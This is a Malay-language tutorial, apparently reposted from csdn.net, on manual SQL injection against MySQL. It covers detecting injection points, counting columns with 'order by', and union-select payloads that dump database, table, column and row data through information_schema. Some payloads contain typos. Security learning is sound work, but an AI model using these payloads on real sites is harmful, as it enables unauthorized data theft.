Rumah  >  Artikel  >  pangkalan data  >  Mari kita bercakap tentang proses suntikan SQL manual yang mudah

Mari kita bercakap tentang proses suntikan SQL manual yang mudah

WBOY
WBOYke hadapan
2022-01-28 17:02:474584semak imbas

Artikel ini membawakan kepada anda isu berkaitan suntikan manual dalam SQL, termasuk isu yang berkaitan dengan menentukan titik suntikan dan menentukan jenis suntikan saya harap ia akan membantu semua orang.

Mari kita bercakap tentang proses suntikan SQL manual yang mudah

Tentukan titik suntikan

1. Kaedah tanda petikan tunggal: tambah satu tanda petikan terus selepas URL. penyemak imbas akan mengembalikan beberapa maklumat pengecualian, ini bermakna pautan mungkin mempunyai kerentanan suntikan sql

2.1=1 dan 1=2: tambah dan 1=1 kepada parameter dapatkan selepas URL, paparan adalah normal , gantikan 1=1 dengan 1 =2, paparan tidak normal, menunjukkan bahawa terdapat suntikan SQL dalam halaman web.

Tentukan jenis suntikan

1 Suntikan angka: nilai pembolehubah yang disuntik tidak perlu disertakan dalam petikan, seperti

select * from user where id=$id;

2 suntikan: pembolehubah yang disuntik Ia akan dibalut dengan tanda petikan, seperti `

select * from user where username='$username';`

Pastikan anda menutup tanda petikan semasa menyuntik.
3. Suntikan carian:

select * from user where username like '%$pass%';

Bina pernyataan sql sebagai

select * from user where username like '%$pass%' union select语句 '%%';

, iaitu, pembolehubah yang dipindahkan ialah pass%' pernyataan pilih kesatuan '% untuk membentuk penutupan.

Tentukan kaedah penyerahan titik suntikan

Tentukan sama ada kaedah penyerahan titik suntikan adalah dapatkan, pos atau kuki melalui tangkapan paket dan kaedah lain.

Gunakan tertib mengikut untuk menanya medan

Gunakan tertib demi penyataan untuk menanyakan berapa banyak medan yang terdapat dalam pangkalan data Anda boleh menentukan bilangan medan pangkalan data melalui percubaan berterusan oeder dengan 9, halaman Apabila ralat dilaporkan dan pesanan sebanyak 8 dimasukkan, halaman dipaparkan seperti biasa, iaitu, terdapat 8 medan dalam pangkalan data.
Contohnya, pernyataan pertanyaan ialah: select * from user where id='$id';
Anda boleh membina input berikut: (id = ') ' order by 3 ' --
Maksudnya, pernyataan pertanyaan ialah: select * from user where id='' order by 3 '--'

Gunakan gabungan pertanyaan untuk menanyakan pangkalan data semasa, pengguna, maklumat Versi

Gunakan pernyataan pilih kesatuan untuk menanyakan pengguna pengguna semasa(), pangkalan data pangkalan data(), versi versi pangkalan data(), @@version_compile_os sistem pengendalian pelayan dan maklumat lain
versi versi adalah sangat penting, jika Jika versi melebihi 5.0, anda boleh menggunakan pustaka information_schema untuk menanya maklumat yang dikehendaki dengan mudah
Pernyataan pembinaan:

select * from user where id='' union select user(),database(),version()+--+;

Soal jadual , lajur dan nilai dalam pangkalan data semasa

5.0 Pustaka information_schema yang disertakan dengan pangkalan data mysql versi di atas menyimpan semua nama jadual dan maklumat tersenarai dalam pangkalan data.
Seterusnya kita harus menyemak maklumat semua jadual bernama jadual berdasarkan hasil pertanyaan pangkalan data semasa dalam langkah kelima (contohnya, pangkalan data ialah pangkalan data_1).
Information_schema.tables: Jadual yang merekodkan semua maklumat nama jadual dalam pangkalan data.
Pernyataan pertanyaan yang dibina adalah seperti berikut:

Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--

Hasil pertanyaan ialah: maklumat nama jadual dalam pangkalan data semasa yang ditanya dalam langkah kelima.
Information_schema.columns: merekodkan maklumat nama lajur semua jadual dalam pangkalan data
Seterusnya, anda harus menanyakan maklumat nama lajurnya berdasarkan maklumat nama jadual yang diperoleh daripada pertanyaan di atas (contohnya, jadual ialah table_1) . Pernyataan yang dibina adalah seperti berikut:

Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--

Selepas menanyakan nama lajur, anda boleh mengetahui terus maklumat yang disimpan dalam jadual melalui pertanyaan bersama (contohnya, nama lajur yang ditemui ialah lajur_1, lajur_2) dan bina pernyataan

Selcet * from user where id='' union select 1,column_1,column_2 from tables;--

Anda boleh menanyakan data yang disimpan bagi jadual yang ditentukan dalam pangkalan data yang ditentukan

Pembelajaran yang disyorkan: tutorial video mysql

Atas ialah kandungan terperinci Mari kita bercakap tentang proses suntikan SQL manual yang mudah. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:csdn.net. Jika ada pelanggaran, sila hubungi admin@php.cn Padam